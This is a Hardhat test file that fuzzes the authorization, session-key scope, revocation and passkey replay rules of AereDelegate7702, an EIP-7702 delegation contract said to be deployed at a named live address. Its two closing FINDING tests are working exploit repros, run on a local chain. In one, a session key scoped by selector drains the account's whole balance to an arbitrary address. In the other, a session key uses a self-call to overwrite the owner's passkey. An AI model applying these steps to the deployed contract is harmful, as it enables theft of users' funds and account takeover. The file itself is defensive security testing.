// ============================================================================= // SEEDED RANDOMIZED PROPERTY / STATEFUL-INVARIANT fuzzing for the LIVE // AereDelegate7702 EIP-7702 delegation target. // // Source under test (matched to the live address in sdk-js/src/addresses.ts): // contracts/delegation/AereDelegate7702.sol -> 0x5673D92080efbd0987402E9335c14200d0a5EaeF // // EIP-7702 makes the delegating EOA's address == address(this). The contract's // owner gate is `onlyOwner: msg.sender == address(this)`. Hardhat's local chain // does not execute a real 7702 authorization tuple, so we reproduce the exact // owner-call semantics by IMPERSONATING the deployed delegate's OWN address and // sending owner transactions FROM it (ethers.getImpersonatedSigner) -> then // msg.sender == address(this) genuinely, exercising the real onlyOwner path. // Every other signer models a third party / a granted session key / an attacker. // // The passkey (RIP-7951 P256Verify at 0x100) is not present on hardhat, so the // anti-replay / challenge-binding logic is driven with a stub precompile // installed via hardhat_setCode (a "always-accept" 32-byte 0x..01 return and an // "always-reject" 0x..00 return). This isolates the nonce/challenge state // machine from the (real, on-chain) P-256 cryptography, which is what the // replay invariant is about. // // TOOLCHAIN: hardhat-based seeded randomized invariant fuzzing (NOT Foundry: // `forge` is not installed; the repo builds through hardhat with OZ 4.9.6 + // viaIR). Every random choice comes from mulberry32(seed); the base seed is // printed at suite start and pinnable via FUZZ_SEED. On any break the failing // (campaign, step, actor, action, values) is embedded in the assertion message // for a minimal repro. // // SCOPE: run this file in ISOLATION (the full suite OOM/segfaults on the // unrelated ML-DSA PQC KAT tests): // npx hardhat test test/delegate7702-authorization-invariant-property.test.js // No deploy to any live node, no contract-logic change, one new test file only. // // INVARIANTS FUZZED (exactly the brief): // * AUTHORIZATION: a delegation (session key / passkey) can be created ONLY by // the delegating account itself (msg.sender == address(this)); ANY third // party calling addSessionKey / revokeSessionKey / setPasskey / executeBatch // reverts NotEoaOwner. No third party can author a delegation. // * SCOPE: a session key can act ONLY while active AND unexpired AND with a // call whose 4-byte selector is in its granted allow-list; every other // combination reverts. It can never act with a selector it was not granted. // * REVOCATION: revokeSessionKey takes effect immediately -- in the very next // call (same block) a revoked key reverts SessionKeyExpired. // * NO REPLAY: a passkey authorization is single-use. The signed challenge // binds address(this)+passkeyNonce+the exact Call, and passkeyNonce // increments on success, so re-submitting the identical (Call, signature) // reverts InvalidChallenge; a signature for Call A cannot authorize Call B. // * NO UNAUTHORIZED FUND MOVEMENT: an actor holding neither the owner identity // nor an active in-scope session key nor a valid passkey cannot move ANY of // the account's native balance. // // A real invariant violation is a valuable result: the two FINDING tests at the // bottom are deterministic minimal repros, not papered over. They demonstrate a // scope-granularity weakness (see comments there) honestly, without altering the // contract. // // No em-dashes anywhere in this file. // ============================================================================= const { expect } = require("chai"); const { ethers, network } = require("hardhat"); const { time } = require("@nomicfoundation/hardhat-network-helpers"); /* ------------------------------- seeded PRNG ------------------------------ */ function mulberry32(a) { return function () { a |= 0; a = (a + 0x6d2b79f5) | 0; let t = Math.imul(a ^ (a >>> 15), 1 | a); t = (t + Math.imul(t ^ (t >>> 7), 61 | t)) ^ t; return ((t ^ (t >>> 14)) >>> 0) / 4294967296; }; } const BASE_SEED = process.env.FUZZ_SEED ? Number(process.env.FUZZ_SEED) : 0xDE1E7702; function rngFor(tag, campaign) { let h = BASE_SEED ^ (campaign * 0x9e3779b1); for (let i = 0; i < tag.length; i++) h = (Math.imul(h, 31) + tag.charCodeAt(i)) | 0; return mulberry32(h >>> 0); } const ri = (rng, min, max) => min + Math.floor(rng() * (max - min + 1)); // inclusive const pick = (rng, arr) => arr[Math.floor(rng() * arr.length)]; const chance = (rng, p) => rng() < p; /* ------------------------------- misc helpers ----------------------------- */ const E = (n) => ethers.parseEther(String(n)); const P256_VERIFY = "0x0000000000000000000000000000000000000100"; // Stub precompile runtimes: return one 32-byte word. Accept -> 0x..01, reject -> 0x..00. const STUB_ACCEPT = "0x600160005260206000f3"; // PUSH1 1; MSTORE; RETURN 32 bytes -> 0x..01 const STUB_REJECT = "0x600060005260206000f3"; // PUSH1 0; MSTORE; RETURN 32 bytes -> 0x..00 // Universal payable sink: runtime is a single STOP (0x00) -> any call with any // data and any value succeeds and keeps the value. Deployed from raw init code. const SINK_INIT = "0x60016000f3"; // return 1 byte (mem[0]==0x00) -> runtime = STOP async function setBal(addr, amountWei) { await network.provider.send("hardhat_setBalance", [addr, "0x" + amountWei.toString(16)]); } async function latestTs() { return Number((await ethers.provider.getBlock("latest")).timestamp); } async function deployRaw(deployer, initCode) { const tx = await deployer.sendTransaction({ data: initCode }); const rc = await tx.wait(); return rc.contractAddress; } function randSelector(rng) { let s = "0x"; for (let i = 0; i < 4; i++) s += ("0" + ri(rng, 0, 255).toString(16)).slice(-2); return s; } // callItem.data = selector (4 bytes) + `padWords` * 32 zero bytes. function dataFor(selector, padWords) { return selector + "00".repeat(padWords * 32); } // Iteration counts (env-overridable so a quick smoke can shrink them). const N = { CAMPAIGNS: Number(process.env.D7_CAMPAIGNS || 5), STEPS: Number(process.env.D7_STEPS || 90), }; // The delegate's OWN privileged 4-byte selectors (computed, cross-checked below). let OWNER_SELECTORS; // ============================================================================= describe("INVARIANT: AereDelegate7702 (EIP-7702 delegation authorization + scope)", function () { this.timeout(0); let signers, delegateF; before(async function () { signers = await ethers.getSigners(); delegateF = await ethers.getContractFactory("AereDelegate7702"); OWNER_SELECTORS = { executeBatch: delegateF.interface.getFunction("executeBatch").selector, addSessionKey: delegateF.interface.getFunction("addSessionKey").selector, revokeSessionKey: delegateF.interface.getFunction("revokeSessionKey").selector, setPasskey: delegateF.interface.getFunction("setPasskey").selector, }; console.log( ` [d7702] base seed 0x${BASE_SEED.toString(16)} | ${N.CAMPAIGNS}x${N.STEPS} authorization/scope` ); }); // Deploy a fresh delegate, impersonate its OWN address (the 7702 owner), fund // it richly, and deploy a universal payable sink. Returns handles. async function stand(deployer) { const delegate = await delegateF.deploy(); await delegate.waitForDeployment(); const delegateAddr = await delegate.getAddress(); // The 7702 "owner": send from address(this). Impersonate + fund for gas AND // for the native value the account moves during authorized flows. const owner = await ethers.getImpersonatedSigner(delegateAddr); await setBal(delegateAddr, E(1_000_000)); const sink = await deployRaw(deployer, SINK_INIT); return { delegate, delegateAddr, owner, sink }; } // ---- predict executeWithSessionKey outcome from the JS shadow model, in the // EXACT branch order the contract checks. Returns null on success or the // custom-error name on the expected revert. ---- function predictSessionKeyOutcome(model, key, now, data) { const sk = model.get(key); const active = !!(sk && sk.active); const expiry = sk ? sk.expiry : 0; if (!active || expiry < now) return "SessionKeyExpired"; const bytes = (data.length - 2) / 2; if (bytes < 4) return "SelectorNotAllowed"; const selector = data.slice(0, 10).toLowerCase(); if (!sk.selectors.has(selector)) return "SelectorNotAllowed"; return null; // success } // ---- full invariant battery over the shadow model vs on-chain state ---- async function assertModel(ctx, delegate, model, actorKeys, probeSelectors) { // sessionKeyInfo(key, selector) must equal the shadow model for every known // key across a set of probe selectors (granted + not-granted). for (const key of actorKeys) { const sk = model.get(key) || { active: false, expiry: 0, selectors: new Set() }; for (const sel of probeSelectors) { const info = await delegate.sessionKeyInfo(key, sel); expect(info.active, `[d7702 SK-ACTIVE] ${ctx} key=${key.slice(0, 10)}`).to.equal(sk.active); expect(Number(info.expiry), `[d7702 SK-EXPIRY] ${ctx} key=${key.slice(0, 10)}`).to.equal(sk.expiry); expect(info.selectorAllowed, `[d7702 SK-SEL] ${ctx} key=${key.slice(0, 10)} sel=${sel}`) .to.equal(sk.selectors.has(sel.toLowerCase())); } } } // ========================================================================= // MAIN BATTERY: authorization (owner-only), scope, revocation, and // no-unauthorized-fund-movement, driven by long randomized multi-actor runs. // ========================================================================= it("owner-only authorization + session-key scope + immediate revocation + fund safety", async function () { let steps = 0; const cnt = { ownerAdd: 0, ownerRevoke: 0, ownerBatch: 0, skOk: 0, skReject: 0, thirdPartyDenied: 0, attackerFundDenied: 0, revokeImmediate: 0, expireChecks: 0, }; for (let c = 0; c < N.CAMPAIGNS; c++) { const rng = rngFor("auth", c); const deployer = signers[0]; const { delegate, delegateAddr, owner, sink } = await stand(deployer); // Candidate session-key identities + third parties + a dedicated attacker. const keyPool = [signers[1], signers[2], signers[3], signers[4]].map((s) => s.address); const keySigners = { [signers[1].address]: signers[1], [signers[2].address]: signers[2], [signers[3].address]: signers[3], [signers[4].address]: signers[4] }; const thirdParties = [signers[5], signers[6], signers[7]]; const attacker = signers[8]; // A palette of "known" selectors used across grants + probes, plus the // delegate's own privileged selectors (so probes cover the escalation // surface too). None of these are granted unless an owner grants them. const palette = []; for (let i = 0; i < 6; i++) palette.push(randSelector(rng)); const probeSelectors = [...palette, OWNER_SELECTORS.executeBatch, OWNER_SELECTORS.addSessionKey, "0xa9059cbb"]; // shadow model: key -> { active, expiry, selectors:Set } const model = new Map(); let sinkExpected = 0n; // native value the account has intentionally paid to `sink` await assertModel(`c${c} init`, delegate, model, keyPool, probeSelectors); for (let s = 0; s < N.STEPS; s++) { const action = pick(rng, [ "ownerAdd", "ownerAdd", "ownerRevoke", "ownerBatch", "sessionCall", "sessionCall", "sessionCall", "thirdPartyOwnerCall", "thirdPartyOwnerCall", "attackerFundGrab", "advance", "reAddExtend", ]); const now = await latestTs(); const ctx = `c${c} s${s} action=${action}`; if (action === "ownerAdd") { // Owner (address(this)) grants a session key: authorized delegation. const key = pick(rng, keyPool); const inFuture = chance(rng, 0.8); const expiry = inFuture ? now + ri(rng, 3600, 30 * 24 * 3600) : now - ri(rng, 100, 10000); const grant = []; const gCount = ri(rng, 1, 3); for (let g = 0; g < gCount; g++) grant.push(pick(rng, palette)); await (await delegate.connect(owner).addSessionKey(key, expiry, grant)).wait(); // model: expiry+active overwritten; selectors accumulate (contract only sets true). const sk = model.get(key) || { active: false, expiry: 0, selectors: new Set() }; sk.active = true; sk.expiry = expiry; for (const gsel of grant) sk.selectors.add(gsel.toLowerCase()); model.set(key, sk); cnt.ownerAdd++; } else if (action === "reAddExtend") { // Re-grant an existing key with new selectors: still owner-authorized, // selectors accumulate, expiry refreshes. const existing = [...model.keys()]; if (existing.length === 0) { steps++; continue; } const key = pick(rng, existing); const expiry = now + ri(rng, 3600, 30 * 24 * 3600); const grant = [pick(rng, palette), pick(rng, palette)]; await (await delegate.connect(owner).addSessionKey(key, expiry, grant)).wait(); const sk = model.get(key); sk.active = true; sk.expiry = expiry; for (const gsel of grant) sk.selectors.add(gsel.toLowerCase()); cnt.ownerAdd++; } else if (action === "ownerRevoke") { const existing = [...model.keys()]; if (existing.length === 0) { steps++; continue; } const key = pick(rng, existing); await (await delegate.connect(owner).revokeSessionKey(key)).wait(); const sk = model.get(key); sk.active = false; // expiry + selectors retained by contract, only active flips cnt.ownerRevoke++; // REVOCATION IS IMMEDIATE: right now, in the next call, the revoked key // must be unable to act, even on a selector it still "has" and even if // unexpired. const someSel = sk.selectors.size ? [...sk.selectors][0] : palette[0]; const ks = keySigners[key]; await expect( delegate.connect(ks).executeWithSessionKey({ target: sink, value: 0n, data: dataFor(someSel, 1) }), `[d7702 REVOKE-IMMEDIATE] revoked key still acted ${ctx} key=${key.slice(0, 10)}` ).to.be.revertedWithCustomError(delegate, "SessionKeyExpired"); cnt.revokeImmediate++; } else if (action === "ownerBatch") { // Authorized native-value movement by the owner via executeBatch. const val = E(ri(rng, 1, 50)); const sinkBefore = await ethers.provider.getBalance(sink); await (await delegate.connect(owner).executeBatch([{ target: sink, value: val, data: "0x" }])).wait(); const sinkAfter = await ethers.provider.getBalance(sink); expect(sinkAfter - sinkBefore, `[d7702 OWNER-BATCH] value mismatch ${ctx}`).to.equal(val); sinkExpected += val; cnt.ownerBatch++; } else if (action === "sessionCall") { // A session key (or a random pool identity) attempts to act. Outcome // must EXACTLY match the contract's active/expiry/selector gate. const key = pick(rng, keyPool); const ks = keySigners[key]; const useGranted = chance(rng, 0.6); const sk = model.get(key); let sel; if (useGranted && sk && sk.selectors.size) sel = [...sk.selectors][ri(rng, 0, sk.selectors.size - 1)]; else sel = pick(rng, palette); let data; if (chance(rng, 0.12)) { // sub-4-byte data (0..3 bytes) -> SelectorNotAllowed via the length gate. const nb = ri(rng, 0, 3); data = "0x" + sel.slice(2, 2 + nb * 2); // valid even-length hex } else { data = dataFor(sel, ri(rng, 1, 2)); } const value = chance(rng, 0.5) ? E(ri(rng, 1, 10)) : 0n; const predicted = predictSessionKeyOutcome(model, key, now, data); const sinkBefore = await ethers.provider.getBalance(sink); if (predicted === null) { await (await delegate.connect(ks).executeWithSessionKey({ target: sink, value, data })).wait(); const sinkAfter = await ethers.provider.getBalance(sink); expect(sinkAfter - sinkBefore, `[d7702 SK-VALUE] in-scope call moved wrong value ${ctx}`).to.equal(value); sinkExpected += value; cnt.skOk++; } else { await expect( delegate.connect(ks).executeWithSessionKey({ target: sink, value, data }), `[d7702 SK-GATE] expected ${predicted} ${ctx} key=${key.slice(0, 10)} data=${data}` ).to.be.revertedWithCustomError(delegate, predicted); const sinkAfter = await ethers.provider.getBalance(sink); expect(sinkAfter - sinkBefore, `[d7702 SK-REJECT-NOMOVE] rejected call still moved value ${ctx}`).to.equal(0n); cnt.skReject++; } } else if (action === "thirdPartyOwnerCall") { // AUTHORIZATION: NO third party can author a delegation or batch. const tp = pick(rng, thirdParties); const which = pick(rng, ["add", "revoke", "setPasskey", "batch"]); const key = pick(rng, keyPool); let call; if (which === "add") call = delegate.connect(tp).addSessionKey(key, now + 100000, [pick(rng, palette)]); else if (which === "revoke") call = delegate.connect(tp).revokeSessionKey(key); else if (which === "setPasskey") call = delegate.connect(tp).setPasskey(ethers.hexlify(ethers.randomBytes(32)), ethers.hexlify(ethers.randomBytes(32))); else call = delegate.connect(tp).executeBatch([{ target: sink, value: E(1), data: "0x" }]); await expect( call, `[d7702 AUTH-3P] third party authored/executed as owner ${ctx} which=${which} tp=${tp.address.slice(0, 10)}` ).to.be.revertedWithCustomError(delegate, "NotEoaOwner"); cnt.thirdPartyDenied++; } else if (action === "attackerFundGrab") { // NO UNAUTHORIZED FUND MOVEMENT: an actor with no owner identity, no // session key, and no passkey cannot move ANY native balance by ANY // of the fund-moving entrypoints. const balBefore = await ethers.provider.getBalance(delegateAddr); const sinkBefore = await ethers.provider.getBalance(sink); // executeBatch -> NotEoaOwner await expect(delegate.connect(attacker).executeBatch([{ target: attacker.address, value: E(100), data: "0x" }]), `[d7702 FUND-BATCH] attacker drained via executeBatch ${ctx}`).to.be.reverted; // executeWithSessionKey with no key -> SessionKeyExpired await expect(delegate.connect(attacker).executeWithSessionKey({ target: attacker.address, value: E(100), data: dataFor(pick(rng, palette), 1) }), `[d7702 FUND-SK] attacker drained via session key it never held ${ctx}`).to.be.revertedWithCustomError(delegate, "SessionKeyExpired"); // executeWithPasskey with no passkey configured (fresh delegate) OR bogus -> reverts, no movement await expect(delegate.connect(attacker).executeWithPasskey( { target: attacker.address, value: E(100), data: "0x" }, { r: ethers.ZeroHash, s: ethers.ZeroHash, authenticatorData: "0x", clientDataJSON: "0x" } ), `[d7702 FUND-PK] attacker moved funds via bogus passkey ${ctx}`).to.be.reverted; const balAfter = await ethers.provider.getBalance(delegateAddr); const sinkAfter = await ethers.provider.getBalance(sink); expect(balAfter, `[d7702 FUND-BAL] account balance changed under attacker pressure ${ctx}`).to.equal(balBefore); expect(sinkAfter, `[d7702 FUND-SINK] sink balance changed under attacker pressure ${ctx}`).to.equal(sinkBefore); cnt.attackerFundDenied++; } else if (action === "advance") { await time.increase(ri(rng, 1, 5 * 24 * 3600)); await network.provider.send("evm_mine"); // EXPIRY: any key whose expiry now lies in the past must be unable to // act even though `active` is still true. const nowT = await latestTs(); for (const [key, sk] of model.entries()) { if (sk.active && sk.expiry < nowT && sk.selectors.size) { const ks = keySigners[key]; await expect( delegate.connect(ks).executeWithSessionKey({ target: sink, value: 0n, data: dataFor([...sk.selectors][0], 1) }), `[d7702 EXPIRE] expired key still acted ${ctx} key=${key.slice(0, 10)} expiry=${sk.expiry} now=${nowT}` ).to.be.revertedWithCustomError(delegate, "SessionKeyExpired"); cnt.expireChecks++; } } } await assertModel(ctx, delegate, model, keyPool, probeSelectors); // FUND CONSERVATION on the intended path: everything the account paid to // `sink` equals exactly the sum of authorized owner-batch + in-scope // session-key values. No unauthorized inflow ever reached the sink. expect(await ethers.provider.getBalance(sink), `[d7702 SINK-CONSERVE] ${ctx}`).to.equal(sinkExpected); steps++; } } console.log( ` [d7702 auth] steps=${steps} ownerAdd=${cnt.ownerAdd} ownerRevoke=${cnt.ownerRevoke} ownerBatch=${cnt.ownerBatch} ` + `skOk=${cnt.skOk} skReject=${cnt.skReject} 3pDenied=${cnt.thirdPartyDenied} attackerDenied=${cnt.attackerFundDenied} ` + `revokeImmediate=${cnt.revokeImmediate} expireChecks=${cnt.expireChecks}` ); const totalSteps = N.CAMPAIGNS * N.STEPS; expect(steps).to.equal(totalSteps); expect(cnt.ownerAdd).to.be.greaterThan(totalSteps * 0.05); expect(cnt.skOk).to.be.greaterThan(5); expect(cnt.skReject).to.be.greaterThan(5); expect(cnt.thirdPartyDenied).to.be.greaterThan(totalSteps * 0.05); expect(cnt.attackerFundDenied).to.be.greaterThan(3); expect(cnt.revokeImmediate).to.be.greaterThan(0); }); // ========================================================================= // NO REPLAY of a passkey authorization. Driven with a stub P256Verify at // 0x100 so we exercise the nonce/challenge state machine (the real P-256 // math is a separate on-chain concern). Randomized over multiple seeds. // ========================================================================= it("passkey authorization is single-use: challenge binds nonce+call, no replay, no cross-call reuse", async function () { let replays = 0, crossCall = 0, wrongChallenge = 0, successes = 0; // base64url (no padding) of a 32-byte 0x-hex value, matching the contract's // _b64url32 (standard base64url of the 32 bytes). const chalB64 = (hex32) => Buffer.from(hex32.slice(2), "hex").toString("base64url"); const clientData = (b64) => "0x" + Buffer.from(`{"type":"webauthn.get","challenge":"${b64}","origin":"https://aere.network"}`, "utf8").toString("hex"); for (let c = 0; c < 3; c++) { const rng = rngFor("passkey", c); const deployer = signers[0]; const { delegate, owner, sink } = await stand(deployer); // Install the ALWAYS-ACCEPT stub so a well-formed challenge reaches success. await network.provider.send("hardhat_setCode", [P256_VERIFY, STUB_ACCEPT]); // Owner configures the single passkey (authorization by owner only). const pubX = ethers.hexlify(ethers.randomBytes(32)); const pubY = ethers.hexlify(ethers.randomBytes(32)); await (await delegate.connect(owner).setPasskey(pubX, pubY)).wait(); for (let s = 0; s < 8; s++) { const value = chance(rng, 0.5) ? E(ri(rng, 1, 20)) : 0n; const callA = { target: sink, value, data: "0x" + "ab".repeat(ri(rng, 0, 8)) }; // Correct challenge for the CURRENT nonce binds this exact call. const expected = await delegate.nextPasskeyChallenge(callA); const sigOk = { r: ethers.hexlify(ethers.randomBytes(32)), s: ethers.hexlify(ethers.randomBytes(32)), authenticatorData: "0x" + "11".repeat(37), clientDataJSON: clientData(chalB64(expected)) }; // (a) WRONG challenge (base64url of an unrelated value) -> InvalidChallenge, // even though the stub would accept the signature. const bogus = ethers.hexlify(ethers.randomBytes(32)); const sigBad = { ...sigOk, clientDataJSON: clientData(chalB64(bogus)) }; await expect( delegate.connect(signers[9]).executeWithPasskey(callA, sigBad), `[d7702 PK-CHAL] wrong-challenge signature accepted c${c} s${s}` ).to.be.revertedWithCustomError(delegate, "InvalidChallenge"); wrongChallenge++; // (b) A signature bound to callA cannot authorize a DIFFERENT call callB. const callB = { target: sink, value: value + 1n, data: callA.data }; await expect( delegate.connect(signers[9]).executeWithPasskey(callB, sigOk), `[d7702 PK-XCALL] signature reused across a different call c${c} s${s}` ).to.be.revertedWithCustomError(delegate, "InvalidChallenge"); crossCall++; // (c) Correct challenge -> success; nonce increments by exactly 1. const nonceBefore = await delegate.passkeyNonce(); const sinkBefore = await ethers.provider.getBalance(sink); await (await delegate.connect(signers[9]).executeWithPasskey(callA, sigOk)).wait(); const nonceAfter = await delegate.passkeyNonce(); expect(nonceAfter - nonceBefore, `[d7702 PK-NONCE] nonce did not advance by 1 c${c} s${s}`).to.equal(1n); expect((await ethers.provider.getBalance(sink)) - sinkBefore, `[d7702 PK-VALUE] c${c} s${s}`).to.equal(value); successes++; // (d) REPLAY the identical (callA, sigOk): the challenge now targets the // advanced nonce, so the stale clientDataJSON no longer binds -> // InvalidChallenge. The single-use property holds. await expect( delegate.connect(signers[9]).executeWithPasskey(callA, sigOk), `[d7702 PK-REPLAY] identical passkey authorization replayed c${c} s${s}` ).to.be.revertedWithCustomError(delegate, "InvalidChallenge"); replays++; } // Restore: clear the stub so we do not leak a fake precompile across files. await network.provider.send("hardhat_setCode", [P256_VERIFY, "0x"]); } console.log(` [d7702 passkey] successes=${successes} replaysBlocked=${replays} crossCallBlocked=${crossCall} wrongChalBlocked=${wrongChallenge}`); expect(successes).to.be.greaterThan(15); expect(replays).to.equal(successes); expect(crossCall).to.equal(successes); }); // ========================================================================= // FINDING 1 (session-key scope granularity): a session key is bound ONLY by a // 4-byte selector allow-list. There is NO target allow-list and NO value / // allowance cap. So a key provisioned for the documented "narrow scope (e.g. // swap router only) ... low-risk operations" can instead move the account's // ENTIRE native balance to an ARBITRARY attacker-controlled address, merely by // pointing `target` at any contract that exposes a function with the granted // selector (trivial for an attacker to craft) and setting `value` to the whole // balance. This exceeds the intended granted scope ("cannot exceed / escalate") // even though it stays inside the contract's coarse selector-only gate. // Deterministic minimal repro, contract unchanged. // ========================================================================= it("FINDING (scope): a selector-scoped session key can drain the account's entire native balance to an arbitrary address", async function () { const deployer = signers[0]; const { delegate, delegateAddr, owner, sink } = await stand(deployer); const sessionKey = signers[1]; // a low-risk dApp session key const attackerSink = sink; // stands in for "any contract exposing selector S" // Owner grants the session key ONE ordinary selector (imagine a swap router's // `swap(...)` selector). No value cap, no target binding is expressible. const grantedSelector = "0x12345678"; const farExpiry = (await latestTs()) + 365 * 24 * 3600; await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [grantedSelector])).wait(); // Read the account's balance AFTER owner setup (the impersonated owner IS the // account, so its own txs pay gas from this balance). This is the user's money. const accountBal = await ethers.provider.getBalance(delegateAddr); // The key sends the account's ENTIRE balance to an arbitrary address, by // pointing target at a contract that "answers" the granted selector (here the // universal sink; an attacker deploys a one-line contract with that selector). const attackerBefore = await ethers.provider.getBalance(attackerSink); await (await delegate.connect(sessionKey).executeWithSessionKey({ target: attackerSink, value: accountBal, // the whole account data: dataFor(grantedSelector, 1), })).wait(); const stolen = (await ethers.provider.getBalance(attackerSink)) - attackerBefore; expect(stolen, "[FINDING scope] full-balance drain did not occur").to.equal(accountBal); expect(await ethers.provider.getBalance(delegateAddr), "[FINDING scope] account not emptied").to.equal(0n); console.log(` [d7702 FINDING scope] session key drained ${ethers.formatEther(stolen)} AERE to an arbitrary address via a single granted selector (no value cap, no target allow-list)`); }); // ========================================================================= // FINDING 2 (privilege escalation via self-call): `onlyOwner` is // `msg.sender == address(this)`, and executeWithSessionKey makes its outbound // call with msg.sender == address(this). So if a session key is ever granted a // selector that COINCIDES with one of the delegate's own privileged selectors // (a 4-byte space; a real dApp function selector can collide, or an operator // can grant it by mistake), the key can target the account ITSELF and invoke an // owner-only function -> escalation to that owner power. We demonstrate the // clean, working vector: setPasskey (which is onlyOwner but NOT nonReentrant), // letting a mere session key OVERWRITE the account's passkey with an attacker- // controlled key -> a persistent takeover of the passkey auth path. // // HONEST BOUNDARY (asserted below too): the same trick aimed at executeBatch is // instead blocked, because executeWithSessionKey and executeBatch SHARE the // nonReentrant `_entered` flag, so the self-call reverts Reentrant(). The // escalation therefore reaches the NON-reentrancy-guarded owner functions // (setPasskey / addSessionKey / revokeSessionKey), not executeBatch. // Deterministic repro, contract unchanged. // ========================================================================= it("FINDING (escalation): a session key granted setPasskey's selector overwrites the account passkey; the executeBatch vector is blocked by the shared reentrancy guard", async function () { const deployer = signers[0]; const { delegate, delegateAddr, owner } = await stand(deployer); const sessionKey = signers[2]; const farExpiry = (await latestTs()) + 365 * 24 * 3600; // (A) WORKING escalation via setPasskey (onlyOwner, not nonReentrant). const setPkSelector = OWNER_SELECTORS.setPasskey; // 0xab0f91b1 await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [setPkSelector])).wait(); // Account passkey starts unset. expect(await delegate.passkeyPubX()).to.equal(ethers.ZeroHash); const attackerX = ethers.hexlify(ethers.randomBytes(32)); const attackerY = ethers.hexlify(ethers.randomBytes(32)); const innerSetPk = delegate.interface.encodeFunctionData("setPasskey", [attackerX, attackerY]); expect(innerSetPk.slice(0, 10).toLowerCase(), "selector mismatch").to.equal(setPkSelector.toLowerCase()); // The session key calls executeWithSessionKey(target=self, data=setPasskey). // Inner msg.sender == address(this) -> onlyOwner passes -> passkey overwritten. await (await delegate.connect(sessionKey).executeWithSessionKey({ target: delegateAddr, value: 0n, data: innerSetPk, })).wait(); expect(await delegate.passkeyPubX(), "[FINDING escalation] passkey X not overwritten by session key").to.equal(attackerX); expect(await delegate.passkeyPubY(), "[FINDING escalation] passkey Y not overwritten by session key").to.equal(attackerY); // (B) HONEST BOUNDARY: the executeBatch vector is blocked by nonReentrant. const escalBatch = OWNER_SELECTORS.executeBatch; // 0x34fcd5be await (await delegate.connect(owner).addSessionKey(sessionKey.address, farExpiry, [escalBatch])).wait(); const innerBatch = delegate.interface.encodeFunctionData("executeBatch", [ [{ target: sessionKey.address, value: E(1), data: "0x" }], ]); await expect( delegate.connect(sessionKey).executeWithSessionKey({ target: delegateAddr, value: 0n, data: innerBatch }), "[FINDING escalation] executeBatch self-call was NOT blocked by the shared reentrancy guard" ).to.be.revertedWithCustomError(delegate, "CallFailed"); console.log(` [d7702 FINDING escalation] a session key granted setPasskey's selector overwrote the account passkey (owner-only) via a self-call; the executeBatch vector reverted Reentrant() as documented`); }); });